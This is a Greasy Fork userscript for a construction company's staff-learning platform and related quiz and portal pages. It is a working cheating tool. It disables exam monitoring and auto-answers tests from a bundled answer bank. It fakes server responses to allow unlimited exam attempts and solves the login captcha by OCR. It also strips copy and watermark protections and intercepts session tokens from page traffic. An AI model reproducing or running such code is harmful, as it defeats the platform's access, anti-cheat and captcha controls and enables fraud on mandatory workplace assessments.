Greasy Fork is available in English.
学企来砍一刀
当前为
// ==UserScript==
// @name 遇见八三的心动瞬间 beta
// @namespace
// @version 1.14.2
// @description 学企来砍一刀
// @author 我纯f5捏
// @match http://120.27.194.253/*
// @match http://47.98.152.121/*
// @match https://learn.cscec83.cn/*
// @match https://ks.wjx.top/*/*
// @match http://ks.wjx.top/*/*
// @match https://www.amap.com/*
// @match https://www.cscec83.cn/*
// @compatible edge
// @license
// @icon https://www.gstatic.com/android/keyboard/emojikitchen/20201001/u1f614/u1f614_u1f614.png
// @grant GM_addStyle
// @grant GM_setValue
// @grant GM_getValue
// @grant GM_deleteValue
// @grant GM_notification
// @grant GM_setClipboard
// @run-at document-start
// @require https://cdn.jsdelivr.net/npm/tesseract.js@5/dist/tesseract.min.js
// @require https://update.greasyfork.icu/scripts/447483/1071404/Boxjs.js
// @require https://update.greasyfork.icu/scripts/462234/1307862/Message.js
// @require https://update.greasyfork.icu/scripts/482872/1345567/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93%E5%8D%95%E9%80%891.js
// @require https://update.greasyfork.icu/scripts/482873/1344838/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93%E5%8D%95%E9%80%892.js
// @require https://update.greasyfork.icu/scripts/482874/1345568/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93%E5%A4%9A%E9%80%89.js
// @require https://update.greasyfork.icu/scripts/482875/1345569/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93%E5%88%A4%E6%96%AD.js
// @require https://update.greasyfork.icu/scripts/481939/1293842/jquery-360minjs.js
// @require https://update.greasyfork.icu/scripts/484651/1348555/cscec83require.js
// ==/UserScript==
/*
***********************************************************
以上参数为脚本必须读取的脚本元属性值,请勿随意改动
以下参数修改请参见语雀功能文档或者代码注释定制化修改
***********************************************************
*/
killAllMonitor();
(function () {
'use strict';
var visionNum = '1.14.2';
var cscecAdminCount = true; // 控制主页是否隐藏脚本窗口, true 为隐藏; false 为不隐藏;
const rootFontSize = 46.667; // 页面如果大小显示异常, 可尝试修改, 请勿随意变动此数值;
const answerTimeGap = 100; // 一键做题操作间隔, 太快页面来不及响应, 太慢影响使用, 单位:ms;
const loginCheck = 1000; // 输入验证码后登录的间隔, 太快无法响应, 太慢影响使用, 单位:ms;
const monitorGap = 400; // 控制url监控间隔, 太快会影响性能, 太慢影响使用, 单位:ms;
const yourName = ''; // 问卷星填写名字
const yourApartment = '/'; // 问卷星填写部门
const yourId = ''; // 问卷星填写员工编号
const yourPost = '专业工程师'; // 问卷星填写岗位
const newParagraphText1 = '* 选择施工区段后再填写 *';
/*
***********************************************************
以下参数为功能必须的参数初始化或功能预留,请勿随意改动
***********************************************************
*/
var radioQA = [];
var multipleQA = [];
var judgeQA = [];
Qmsg.config({
showClose: true,
timeout: 4000
})
initQABank();
GM_setValue('userAgent', window.navigator.userAgent);
try {
var titleMsgAlert = `${GM_getValue('userName')} ${GM_getValue('nickName')}`;
} catch (error) {
titleMsgAlert = '未登录';
}
const gk = 'cbbebbc001955f9af88c3928736dd241';
const targetValues = ['您的姓名:', '您的部门:', '所属项目:', '所在岗位:'];
const rightArr = ['正确', '对', '✓', '√', 'A', 'a', '是'];
const wrongArr = ['错误', '错', '×', 'x', 'B', 'b', '否'];
const getYears = [2020, 2021, 2022, 2023, 2024];
const filterArray = ['每月考试'];
var cscecConstructionLogCount = true;
var isDraggable = false;
var lngAndLatData = '';
var innerMsgAlert = '';
var lastVisionNum = '';
var xAccessToken = '';
var currentUrl = '';
var myPicImage = '';
var timestamp = '';
var ipData = '';
var a = '';
var b = '';
var C = '';
var d = '';
var isQuestionFinishArray = [];
var moneyResults = {};
var practiceData = [];
var savedData = [];
var tokenData = [];
var toolbox_ext = []
overrideOpen();
initElement();
setTipsImg();
setRem();
window.onload = function () {
addDiv();
webPageWatchUrl(urlOperate);
document.querySelector('#noteText2').innerHTML = `版本号: ${visionNum} <br><br>`;
let tipsCard = document.getElementById("tipsCard");
tipsCard.addEventListener('mouseover', displayTipsImg);
tipsCard.addEventListener('mouseout', vanishTipsImg);
tipsCard.addEventListener('mousemove', displayTipsImg);
document.getElementById('movedCard').addEventListener('mousedown', handleMouseDown);
btnClick(".option1", verifyAndToast);
btnClick(".option2", function () {
if (getAb()) {
switch (verifyUrl()) {
case 1:
answerExam();
break;
case 4:
Qmsg.error("此页面未配置本功能,请使用问卷星答题功能");
break;
case 5:
Qmsg.error("此页面未配置本功能,请使用填写验证码功能");
break;
case 6:
answerQuestion();
break;
default:
Qmsg.error("此页面未配置本功能,如功能配置错误请联系我");
break;
}
} else {
failVerify();
waitToast(titleMsgAlert, innerMsgAlert, a);
}
});
btnClick(".option3", function () {
if (getAb()) {
switch (verifyUrl()) {
case 1:
autoExam();
break;
case 4:
Qmsg.error("此页面未配置本功能,请使用问卷星答题功能");
break;
case 5:
Qmsg.error("此页面未配置本功能,请使用填写验证码功能");
break;
case 6:
autoAnswerQuestion();
break;
case 7:
getAddress(currentUrl);
break;
default:
Qmsg.error("此页面未配置本功能,如功能配置错误请联系我");
break;
}
} else {
failVerify();
waitToast(titleMsgAlert, innerMsgAlert, a);
}
});
btnClick(".option4", answerQAStarExam);
btnClick(".option5", function () {
layer.open({
type: 1,
skin: 'layui-layer',
area: ['80%', '60%'], //宽高
content: layuiMenu(),
title: '遇见八三的心动瞬间-附加功能',
shadeClose: true,
zIndex: 150,
success: function (layero, index) {
initToolboxListener();
$('.toolbox_btn').on('click', function () {
layer.close(index)
console.log('有一个按钮被点击,toolbox已关闭')
})
}
})
});
btnClick(".option6", function () {
GM_addStyle(`
.mainDiv {
display: none;
}
#minDiv {
display: Block;
}
`)
let minDiv = document.createElement('div');
minDiv.innerHTML = `
<button><span>disPlay</span></button>
`;
minDiv.style.position = 'fixed';
minDiv.style.left = '0';
minDiv.style.top = '50%';
minDiv.width = '50px';
minDiv.className = "minDiv";
minDiv.style.zIndex = '999';
minDiv.id = 'minDiv';
minDiv.addEventListener('click', function () {
GM_addStyle(`
.mainDiv {
display: grid;
}
#minDiv {
display: none;
}
`)
});
document.body.appendChild(minDiv);
});
btnClick(".option7", fillVerificationCode);
btnClick(".option9", sendMsg);
getWords();
}
async function initElement() {
// 引入jquery
// 问:这里为什么不用自带的require引入?
// 答:第一,require不能引入css。第二,直接引入layer组建会导致显示异常,因此需要单独引入layer(属于技术原因受限)。第三,下面的两个库均已被GreasyFork认可(可前往http://greasyfork.icu/zh-CN/help/cdns 进行审查)。
// 根据GreasyFork脚本规则“库是应被 @require 的脚本,除非因为技术原因不能这么做。如果一个库被内嵌入了脚本,那么你必须一并提供库的来源(比如一行评论指向原始地址、名称以及版本)。”
// 我们在下方介绍了对应的库的原始地址、名称以及版本,并且说明了是因为技术原因而不能使用require引用。
$('head').append($('<link rel="stylesheet" href="https://www.layuicdn.com/layui/css/layui.css">')) // 名称:layui,版本:2.9.7,原始地址:https://www.layuicdn.com/#Layui
if (typeof layer == 'undefined') {
$('head').append('<script src="https://www.layuicdn.com/layui/layui.js"></script>') // 名称:layer,版本:2.9.7,原始地址:https://www.layuicdn.com/#Layer
}
while (true) {
if (typeof layer != 'undefined') {
break;
}
await sleep(0.5);
}
addButtons();
getIP();
hello('遇见八三的心动瞬间', visionNum);
console.log("%c%s",
"color: white; background: black; font-size: 20px; font-weight:1000; text-decoration: none;",
"https://www.yuque.com/yuqueyonghuuadmba/kb/gan09a7zvlktoa9v?singleDoc");
}
function initToolboxListener() {
btnClick("#resetQABank_btn_toolbox", function () {
resetQABank();
Qmsg.success("题库已重置");
});
btnClickToUrl("#openJSUrl_btn_toolbox", 'http://greasyfork.icu/zh-CN/scripts/483543-%E9%81%87%E8%A7%81%E5%85%AB%E4%B8%89%E7%9A%84%E5%BF%83%E5%8A%A8%E7%9E%AC%E9%97%B4');
btnClick("#forceExam_btn_toolbox", function () {
if (getAb()) {
if (currentUrl.includes("https://learn.cscec83.cn/exam/exam")) {
forceExam();
}
else {
Qmsg.warning('请在考试选择页面使用');
}
} else {
failVerify();
waitToast(titleMsgAlert, innerMsgAlert, a);
}
});
btnClick("#QAStar_forceExam_btn_toolbox", function () {
deleteAllCookies();
clearCookie();
clearStorage();
Qmsg.success("cookie数据已清除");
});
btnClick('#option1_btn_toolbox', function () {
layer.open({
type: 1,
area: '350px',
resize: false,
shadeClose: true,
title: 'QQ',
content: `
<div class="layui-form" lay-filter="filter-test-layer" style="margin: 16px;">
<div class="demo-login-container">
<div class="layui-form-item">
<div class="layui-input-wrap">
<div class="layui-input-prefix">
<i class="layui-icon layui-icon-username"></i>
</div>
<input type="text" name="username" value="" lay-verify="required" placeholder="QQ 号" lay-reqtext="请填写 QQ 号" autocomplete="off" class="layui-input" lay-affix="clear">
</div>
</div>
<div class="layui-form-item">
<button class="layui-btn layui-btn-fluid" lay-submit lay-filter="demo-login">强制聊天</button>
</div>
<div class="layui-form-item demo-login-other">
</div>
</div>
</div>
`,
success: function () {
layui.form.render();
layui.form.on('submit(demo-login)', function (data) {
let url = 'https://api.uomg.com/api/qq.talk?qq=' + data.field.username;
console.log(url);
window.open(url, '_blank');
return false; // 阻止默认 form 跳转
});
}
});
})
}
// 通用函数,同步等待1秒
async function sleep(time) {
return new Promise((resolve, reject) => {
setTimeout(() => {
resolve()
}, time * 1000)
})
}
function hello(title, version) {
console.log(
`%c ${title} %cV ${version} `,
'padding: 2px 1px; border-radius: 3px 0 0 3px; color: #fff; background: #606060; font-weight: bold;',
'padding: 2px 1px; border-radius: 0 3px 3px 0; color: #fff; background: #42c02e; font-weight: bold;',
);
}
function layuiMenu() {
var toolbox_html =
`
<div style="margin: 6px 12px;">
<div style="height:26px;font-size: 18px;" ><b>修复异常</b></div>
<button type="button" class="layui-btn layui-bg-blue toolbox_btn" id="resetQABank_btn_toolbox" style="margin: 9px 0px;">重置题库</button>
<hr>
</div>
<div style="margin: 6px 12px;">
<div style="height:26px;font-size: 18px;" ><b>考试相关</b></div>
<button type="button" class="layui-btn layui-bg-blue toolbox_btn" id="forceExam_btn_toolbox" style="margin: 9px 0px;">强制考试</button>
<button type="button" class="layui-btn layui-bg-blue toolbox_btn" id="QAStar_forceExam_btn_toolbox" style="margin: 9px 0px;">问卷星无限答题</button>
<hr>
</div>
<div style="margin: 6px 12px;">
<div style="height:26px;font-size: 18px;" ><b>信息发布</b></div>
<button type="button" class="layui-btn layui-bg-blue" id="openJSUrl_btn_toolbox" style="margin: 9px 0px;">脚本发布页面</button>
<hr>
</div>
<div style="margin: 6px 12px;">
<div style="height:26px;font-size: 18px;" ><b>测试功能</b></div>
<button type="button" class="layui-btn layui-bg-blue" id="option1_btn_toolbox" style="margin: 9px 0px;">QQ强制聊天</button>
<button type="button" class="layui-btn layui-bg-blue" id="option2_btn_toolbox" style="margin: 9px 0px;">功能待定1</button>
<button type="button" class="layui-btn layui-bg-blue" id="option3_btn_toolbox" style="margin: 9px 0px;">功能待定2</button>
<hr>
</div>
<div style="margin: 16px;">
<div class="layui-timeline-item">
<i class="layui-icon layui-timeline-axis"></i>
<div class="layui-timeline-content layui-text">
<h3 class="layui-timeline-title">1.14.2.20240325</h3>
<p style="font-weight: bold;"><i class="layui-icon"> </i>更新细则</p>
<ul>
<li>修复日常答题获取题目失败的情况</li>
<li>重制千回百转功能</li>
<li>新增部分功能</li>
<li>优化了脚本运行速度</li>
<li>新增更新概览</li>
<li>修复部分问题</li>
</ul>
</div>
</div>
<div class="layui-timeline-item">
<i class="layui-icon layui-timeline-axis"></i>
<div class="layui-timeline-content layui-text">
<h3 class="layui-timeline-title">2024 年 3 月</h3>
<p style="font-weight: bold;"><i class="layui-icon"> </i>更新概览</p>
<ul>
<li>增加 页面内切换答题功能(1.13.3.20240323)</li>
<li>增加 集团133文化体系试题库(1.12.22.20240319)</li>
<li>增加 题库重置功能(1.12.19.20240318)</li>
<li>增加 增加一键复制题目功能(1.12.25.20240322)</li>
</ul>
</div>
</div>
<div class="layui-timeline-item">
<i class="layui-icon layui-timeline-axis"></i>
<div class="layui-timeline-content layui-text">
<h3 class="layui-timeline-title">2024 年 2 月</h3>
<p style="font-weight: bold;"><i class="layui-icon"> </i>更新概览</p>
<ul>
<li>增加 增加自动签到功能(1.12.0.20240222)</li>
<li>增加 增加今日积分统计功能(不含考试)(1.12.0.20240222)</li>
<li>修改 全部题库与答题逻辑,使用新的题库格式以支持作答题目相同但选项不同的题(1.11.1.20240219)</li>
<li>删除 对旧版学企来业的支持与全部代码(1.11.1.20240219)</li>
<li>增加 增加了版本更新提醒(1.10.12-20240211)</li>
<li>增加 平台自动去水印功能(1.10.7-20240202)</li>
<li>增加 点击按钮 9 反馈问题(1.10.0-20240201)</li>
</ul>
</div>
</div>
<div class="layui-timeline-item">
<i class="layui-icon layui-timeline-axis"></i>
<div class="layui-timeline-content layui-text">
<h3 class="layui-timeline-title">2024 年 1 月</h3>
<p style="font-weight: bold;"><i class="layui-icon"> </i>更新概览</p>
<ul>
<li>增加 手机做题考试功能(1.8.0-20240126)</li>
<li>增加 窗口显隐功能(1.8.0-20240126)</li>
<li>增加 强制考试与无限考试功能(1.7.0-20240124)</li>
<li>增加 考试任意切屏功能(1.6.18-20240123)</li>
<li>增加 随机更换背景大图(1.6.17-20240122)</li>
<li>增加 新版学企来考试与自动考试功能(1.6.0-20240107)</li>
</ul>
</div>
</div>
<div class="layui-timeline-item">
<i class="layui-icon layui-timeline-axis"></i>
<div class="layui-timeline-content layui-text">
<h3 class="layui-timeline-title">1.0 20240101</h3>
<p style="font-weight: bold;"><i class="layui-icon"> </i>诞生了</p>
</div>
</div>
</div>
`
return toolbox_html;
}
function getAddress(urls) {
let regex = /lng=([\d.]+)&lat=([\d.]+)&name=([^&]+)/;
let match = urls.match(regex);
if (match) {
let texts = '[{"mAddress":"' + decodeURIComponent(match[3]) + '","mLatitude":' + match[2] + ',"mLongitude":' + match[1] + '}]';
GM.setClipboard(texts, "text");
console.log(texts);
Qmsg.success("已复制相关信息。");
}
}
async function initQABank() {
try {
radioQA = GM_getValue('radioQA');
multipleQA = GM_getValue('multipleQA');
judgeQA = GM_getValue('judgeQA');
if (radioQA.length !== 14429 && multipleQA.length !== 6248 && judgeQA.length !== 4069) {
resetQABank();
} else {
Qmsg.success(`正常读取全题库,单选题:${radioQA.length + 1};多选题:${multipleQA.length + 1};判断题:${judgeQA.length + 1}`);
}
} catch (error) {
console.log(error);
Qmsg.error(`题库初始化发生意外错误`);
}
}
async function resetQABank() {
radioQA = [...radioQuestionBank1, ...radioQuestionBank2];
radioQA = radioQA.map(item => {
return {
...item,
question: trimText(item.question),
options: item.options.map(option => trimText(option))
};
});
multipleQA = multipleQuestionBank.map(item => {
return {
...item,
question: trimText(item.question),
options: item.options.map(option => trimText(option))
};
});
judgeQA = judgeQuestionBank.map(item => {
return {
...item,
question: trimText(item.question),
options: item.options.map(option => trimText(option))
};
});
try {
GM_setValue('radioQA', radioQA);
GM_setValue('multipleQA', multipleQA);
GM_setValue('judgeQA', judgeQA);
Qmsg.success(`全题库共 单选题:${radioQA.length + 1};多选题:${multipleQA.length + 1};判断题:${judgeQA.length + 1} 已存储`);
} catch {
Qmsg.error(`全题库写入失败`);
}
}
function forceExam() {
var originalSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function () {
var self = this;
var originalOnreadystatechange = this.onreadystatechange;
this.onreadystatechange = function () {
if (self.responseURL.match(/getInfoCanPaperNum\?paperId=.+/g)) {
Object.defineProperty(self, 'response', {
value: { "code": 200, "msg": null, "data": 999 },
writable: true,
enumerable: true,
configurable: true
});
Object.defineProperty(self, 'responseText', {
value: "{\"code\":200,\"msg\":null,\"data\":999}",
writable: true,
enumerable: true,
configurable: true
});
// 调用原有的onreadystatechange回调
if (originalOnreadystatechange) {
originalOnreadystatechange.call(self);
}
}
};
// 调用原始的send方法
originalSend.apply(this, arguments);
};
Qmsg.success("强制考试,启动!");
systemAlert('强制考试,启动!', '考!随便考!', 8000, console.log('点击无限的通知'));
}
function getWords() {
fetch("https://oiapi.net/API/Sentences")
.then(response => {
if (!response.ok) {
throw new Error("Network response was not ok");
}
return response.json();
})
.then(data => {
if (data.code === 1) {
document.querySelector("#infoText1").innerText = data.data.content;
document.querySelector("#infoText2").innerText = "——" + data.data.works + ' ' + data.data.author;
} else {
document.querySelector("#infoText1").innerText = "今日无事";
}
})
.catch(error => {
Qmsg.error("获取每日一言失败");
document.querySelector("#infoText1").innerText = "今日无事";
console.error("Fetch error:", error);
});
}
function answerQAStarExam() {
var AllQA = [...radioQA, ...multipleQA, ...judgeQA];
try {
if (verifyUrl() === 4) {
try {
document.querySelector("#q1_0").innerText = yourName;
document.querySelector("#q1_1").innerText = yourApartment;
document.querySelector("#q1_2").innerText = yourId;
document.querySelector("#q1_3").innerText = yourPost;
} catch (error) {
console.log("方式一信息填写失败或部分失败,尝试使用方式二填写");
try {
document.querySelector("#q1").value = yourName;
document.querySelector("#q2").value = yourApartment;
document.querySelector("#q3").value = yourId;
document.querySelector("#q4").value = yourPost;
} catch (error) {
console.log("信息填写失败或部分失败");
}
}
var QAStarQuestion = document.querySelectorAll('.topichtml');
if (QAStarQuestion.length === 0) {
QAStarQuestion = document.querySelectorAll('.topic__type-title');
}
for (let j = 0; j < QAStarQuestion.length; j++) {
let questionFind = trimText(QAStarQuestion[j].innerText);
try { questionFind = questionFind.match(/.+?(?=【.*】$)/)[0] } catch { };
let questionIndex = AllQA.findIndex(function (item) {
return item.question === questionFind;
});
if (questionIndex > -1) {
let answerArray = convertAnswerArrayToDigitArray(questionIndex, AllQA);
for (let i = 0; i < answerArray.length; i++) {
(function (i) {
requestAnimationFrame(function () {
setTimeout(() => {
try {
QAStarQuestion[j].nextElementSibling.childNodes[answerArray[i]].click();
} catch (error) {
try {
QAStarQuestion[j].parentNode.nextSibling.childNodes[answerArray[i]].click();
} catch (error) {
}
}
}, 150);
});
})(i);
}
} else {
console.log(QAStarQuestion[j] + " 未找到答案", "题库无此题,请及时记录维护题库或 Ctrl+S 保存页面");
}
}
} else {
Qmsg.error("此页面未配置本功能,如功能配置错误请联系我");
}
} catch (error) {
Qmsg.error("exam函数未完全适配导致的问题,请 Ctrl+S 保存页面并联系我");
}
}
function verifyUrl() {
currentUrl = window.location.href;
// 1 新版学企来考试
if (currentUrl.includes('learn.cscec83.cn/exam/examItem')) {
return 1;
// 2 答题结算
} else if (currentUrl.includes('learn.cscec83.cn/exam/dayResult')) {
return 2;
// 4 问卷星
} else if (currentUrl.includes('wjx.top/') || currentUrl.includes('wjx.cn/')) {
return 4;
// 5 公司登录界面
} else if (currentUrl.includes('www.cscec83.cn/user/login')) {
return 5;
// 6 新版学企来练习
} else if (currentUrl.includes('learn.cscec83.cn/exam/dayItem')) {
return 6;
// 7 高德定位
} else if (currentUrl.includes("www.amap.com/regeo") && currentUrl.includes("lng=") && currentUrl.includes("lat=")) {
return 7;
// 8 八三主页
} else if (currentUrl.includes("www.cscec83.cn/dashboard/analysis")) {
return 8;
} else {
return false;
}
}
function getAnswer(questionAnswerBankIndex, questionsArray) {
return questionsArray[questionAnswerBankIndex].answer;
}
function convertAnswerToArray(questionAnswerBankIndex, questionsArray) {
let answerArray = getAnswer(questionAnswerBankIndex, questionsArray).match(/[A-Za-z]/g).map(function (val) {
return val.toLowerCase();
});
return answerArray;
}
// 转换字母答案为数字并生成数组
function convertAnswerArrayToDigitArray(questionIndex, questionsArray) {
let answerArray = convertAnswerToArray(questionIndex, questionsArray).map(char => char.charCodeAt(0) - 96 - 1); // 多减一个 1 好点击
return answerArray;
}
// 点击页面具有某个文本的span
function clickSpanContainingText(text) {
var spans = document.getElementsByTagName('span');
for (var i = 0; i < spans.length; i++) {
if (spans[i].innerText === text) {
spans[i].click();
break;
}
}
}
function reviseRem() {
var root = document.documentElement;
var currentSize = parseFloat(window.getComputedStyle(root).fontSize);
if (currentSize !== rootFontSize) {
// root.style.fontSize = `${currentSize * 4}px`;
root.style.fontSize = rootFontSize + "px";
}
if (document.querySelector('.todo-title') && document.querySelector('.todo-title').innerText == '公司待办') {
root.style.fontSize = 16 + "px";
if (cscecAdminCount) {
try {
GM_addStyle(`
.mainDiv {
display: none;
}
}
`);
} catch (error) { }
}
}
}
function webPageWatchUrl(watchCallback) {
watchCallback();
currentUrl = window.location.href;
setInterval(function () {
if (currentUrl !== window.location.href) {
currentUrl = window.location.href;
watchCallback();
}
}, monitorGap);
}
function addButtons() {
setInterval(function () {
switch (verifyUrl()) {
case 1:
case 2:
case 6:
addCopyButton();
addPractice1Button();
addPractice2Button();
addBackButton();
break;
default:
break;
}
}, 1000);
}
function addCopyButton() {
try {
if (!document.querySelector('#copy-Button')) {
let copyButton = document.createElement('button');
copyButton.id = 'copy-Button';
copyButton.textContent = '复制题目';
copyButton.classList.add('add-Button');
let parentElement = document.querySelectorAll(".size-16")[0];
parentElement.appendChild(copyButton);
copyButton.addEventListener("click", function (event) {
let questionElement = document.querySelectorAll('.el-card__body')[1].childNodes[2];
let question = questionElement ? questionElement.innerText : '';
let options = getOptions();
let QAtype = getQATypeString();
let text =
`{
question: '${trimText(question)}',
options: ${options},
answer: '',
type: '${QAtype}'
}`;
GM.setClipboard(text);
Qmsg.success('复制成功');
});
}
} catch (error) { }
}
function addPractice1Button() {
try {
if (!document.querySelector('#practice1-Button')) {
let practice1Button = document.createElement('button');
practice1Button.id = 'practice1-Button';
practice1Button.textContent = '每日一练';
practice1Button.classList.add('add-Button');
let parentElement = document.querySelectorAll(".el-page-header__content")[0];
parentElement.appendChild(practice1Button);
practice1Button.addEventListener("click", function (event) {
window.open('https://learn.cscec83.cn/exam/dayItem/?type=1', '_self');
});
}
} catch (error) { }
}
function addPractice2Button() {
try {
if (!document.querySelector('#practice2-Button')) {
let practice2Button = document.createElement('button');
practice2Button.id = 'practice2-Button';
practice2Button.textContent = '闯关练习';
practice2Button.classList.add('add-Button');
let parentElement = document.querySelectorAll(".el-page-header__content")[0];
parentElement.appendChild(practice2Button);
practice2Button.addEventListener("click", function (event) {
window.open('https://learn.cscec83.cn/exam/dayItem/?type=2', '_self');
});
}
} catch (error) { }
}
function addBackButton() {
try {
if (!document.querySelector('#addBack-Button')) {
let addBackButton = document.createElement('button');
addBackButton.id = 'addBack-Button';
addBackButton.textContent = '返回首页';
addBackButton.classList.add('add-Button');
let parentElement = document.querySelectorAll(".el-page-header__content")[0];
parentElement.appendChild(addBackButton);
addBackButton.addEventListener("click", function (event) {
window.open('https://learn.cscec83.cn/', '_self');
});
}
} catch (error) { }
}
function setRem() {
setInterval(function () {
reviseRem();
}, 1000);
}
function getOptions() {
let options = '[';
switch (getQAType()) {
case 1:
case 3:
document.querySelectorAll(".el-radio__label").forEach(e => {
options += "'" + trimText(e.innerText.replace(/[A-J]\. /, '')) + "',";
});
break;
case 2:
document.querySelectorAll(".el-checkbox-group")[0].childNodes.forEach(e => {
options += "'" + trimText(e.innerText.replace(/[A-J]\. /, '')) + "',";
});
break;
default:
break;
}
options += ']';
return options.replace(",]", ']');
}
function getQATypeString() {
switch (getQAType()) {
case 1:
return '单选题';
case 2:
return '多选题';
case 3:
return '判断题';
default:
return '未知题目';
}
}
function urlOperate() {
switch (verifyUrl()) {
case 4:
try {
// 解除复制粘贴限制
setTimeout(function () {
$(".textCont,input,textarea").off();
}, 2000)
$(".textCont,input,textarea").off(); // 既不生效,再来一次又何妨
document.oncontextmenu = function () { return true; };
document.onselectstart = function () { return true; };
$("body").css("user-select", "text");
syncManyinput();
} catch (error) {
Qmsg.error("破解复制失败");
}
break;
case 5:
try {
document.documentElement.style.fontSize = 46.6667 + "px";
GM_addStyle(`
.bgi[data-v-556a153e] {
background:url(https://bing.img.run/rand_uhd.php) no-repeat;
background-size:100% 100%;
}
`);
} catch (error) { }
break;
case 8:
document.documentElement.style.fontSize = 16 + "px";
if (cscecAdminCount) {
try {
GM_addStyle(`
.mainDiv {
display: none;
}
}
`);
} catch (error) { }
}
let intervalId; // 存储 setInterval 的返回值
let isClickListenerAdded = false; // 标记是否已添加点击事件监听器
intervalId = setInterval(function () {
if (GM_getValue("thirdToken")) {
var cardTitle = document.querySelector('.card-title');
if (cardTitle) {
try {
if (isClickListenerAdded) {
clearInterval(intervalId);
return;
};
let cardTitle = document.querySelector('.card-title');
cardTitle.addEventListener('click', function () {
let url = 'https://learn.cscec83.cn' + '?token=' + GM_getValue("thirdToken");
window.open(url, '_blank');
});
isClickListenerAdded = true;
} catch (error) {
console.error(error);
}
}
}
}, 500);
cscecAdminCount = false;
break;
default:
break;
}
setInterval(function () {
try {
let content = document.querySelector("#content").childNodes[2];
if (content.style.background !== '') {
document.querySelector("#content").childNodes[2].style.background = '';
Qmsg.success("去除水印成功")
}
} catch (error) { }
if (cscecConstructionLogCount && currentUrl.includes('www.cscec83.cn/Project/ConstructionLog/ConstructionLog/')) {
try {
if (document.querySelectorAll(".ant-space-item")[2].innerText.includes("施工区段")) {
let newParagraph = document.createElement('p');
newParagraph.textContent = newParagraphText1;
newParagraph.style.color = 'red';
newParagraph.style.fontWeight = 'bold';
newParagraph.style.textAlign = 'center';
newParagraph.style.fontSize = '1.25rem';
let parentElement = document.querySelectorAll(".ant-spin-nested-loading")[1];
let firstChild = parentElement.firstChild;
parentElement.insertBefore(newParagraph, firstChild);
cscecConstructionLogCount = false;
}
} catch (error) { }
}
}, 2000);
};
function fillVerificationCode() {
if (currentUrl.includes('https://www.cscec83.cn/user/login')) {
var imgSrc = document.querySelectorAll("img")[4].src;
var image = new Image();
image.src = imgSrc;
const { createWorker } = Tesseract;
(async () => {
const worker = await createWorker('eng');
const { data: { text } } = await worker.recognize(image);
var inputElement = document.getElementById("inputCode");
inputElement.value = text;
// 创建并触发 input 事件
var event = new Event('input', {
bubbles: true,
cancelable: true,
});
inputElement.dispatchEvent(event);
})();
setTimeout(function () {
document.querySelector(".login-button").click();
}, loginCheck);
} else {
Qmsg.error("此页面未配置本功能,如功能配置错误请联系我");
// simpleToast("此页面未配置本功能", "填写验证码", 2e3);
return false;
}
}
// 移动
function handleMouseDown(event) {
isDraggable = true;
var handleMoveDiv = document.getElementById("mainDiv");
var offsetX = event.clientX - handleMoveDiv.getBoundingClientRect().left;
var offsetY = event.clientY - handleMoveDiv.getBoundingClientRect().top;
// 阻止默认行为和冒泡
event.preventDefault();
event.stopPropagation();
document.addEventListener('mousemove', handleWindowMouseMove);
document.addEventListener('mouseup', handleWindowMouseUp);
function handleWindowMouseMove(event) {
if (isDraggable) {
requestAnimationFrame(() => {
handleMoveDiv.style.left = event.clientX - offsetX + 'px';
handleMoveDiv.style.top = event.clientY - offsetY + 'px';
window.getSelection().empty();
});
}
}
function handleWindowMouseUp() {
isDraggable = false;
document.removeEventListener('mousemove', handleWindowMouseMove);
document.removeEventListener('mouseup', handleWindowMouseUp);
}
}
// 给所有的可选按钮增加点击事件
// 类中加 clickable-image speedChoose
function changeByClick() {
// 给所有的图片增加点击事件(除了含有speedChoose类的)
let images = document.querySelectorAll('.clickable-image');
images.forEach(image => {
// 检查图片是否包含speedChoose类,如果不包含则添加点击事件
if (!image.classList.contains('speedChoose')) {
image.addEventListener('click', function () {
this.classList.toggle('clicked');
});
}
});
// // 按钮点击互斥
// var speedChooses = document.querySelectorAll('.speedChoose');
// speedChooses.forEach(function (box) {
// box.addEventListener('click', function () {
// // 如果当前按钮已经是点击状态,则取消点击状态,否则激活点击状态
// if (box.classList.contains('clicked')) {
// box.classList.remove('clicked');
// } else {
// // 点击任何一个box时,移除所有box的clicked类
// speedChooses.forEach(function (otherBox) {
// otherBox.classList.remove('clicked');
// });
// box.classList.add('clicked');
// }
// });
// });
}
function overrideOpen() {
var open = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function (method, url) {
var self = this;
this.addEventListener('load', function () {
var data = self.responseText;
var isPracticeData = data.includes('testPaperTopics');
var isTokenData = data.includes('thirdToken');
var isAuthorization = data.includes('token') && data.includes('data');
if (isPracticeData || isTokenData || isAuthorization) {
if (isAuthorization) {
var authorizationData = authorizationData || [];
if (!Array.isArray(authorizationData)) {
authorizationData = [];
}
authorizationData = JSON.parse(data);
handleAuthorizationData(authorizationData);
}
if (isPracticeData) {
practiceData = practiceData || [];
if (!Array.isArray(practiceData)) {
practiceData = [];
}
practiceData.push(JSON.parse(data));
handlePracticeData(practiceData);
}
if (isTokenData) {
tokenData = tokenData || [];
if (!Array.isArray(tokenData)) {
tokenData = [];
}
tokenData.push(JSON.parse(data));
handleTokenData(tokenData);
}
}
});
open.apply(this, arguments);
};
}
function handlePracticeData(practiceData) {
return new Promise(function (resolve) {
let targetArray = practiceData.find(function (response) {
return response.msg === "操作成功" && response.code === 200 && response.data.testPaperTopics;
});
if (targetArray) {
let formattedData = outputPracticeTopics(targetArray.data);
savedData = formattedData.slice();
} else {
console.log('脚本未找到符合条件的题库信息');
}
practiceData.length = 0;
resolve();
});
}
function handleAuthorizationData(authorizationData) {
return new Promise(function (resolve) {
if (authorizationData.code === 200) {
fetch("https://learn.cscec83.cn/prod-api/system/user/signIn", {
"headers": {
"accept": "application/json, text/plain, */*",
"accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"authorization": authorizationData.data.token,
"cache-control": "no-cache",
"pragma": "no-cache",
},
"method": "POST",
})
.then(response => {
return response.json()
})
.then(data => {
switch (data.code) {
case 200:
Qmsg.success("自动签到完成");
break;
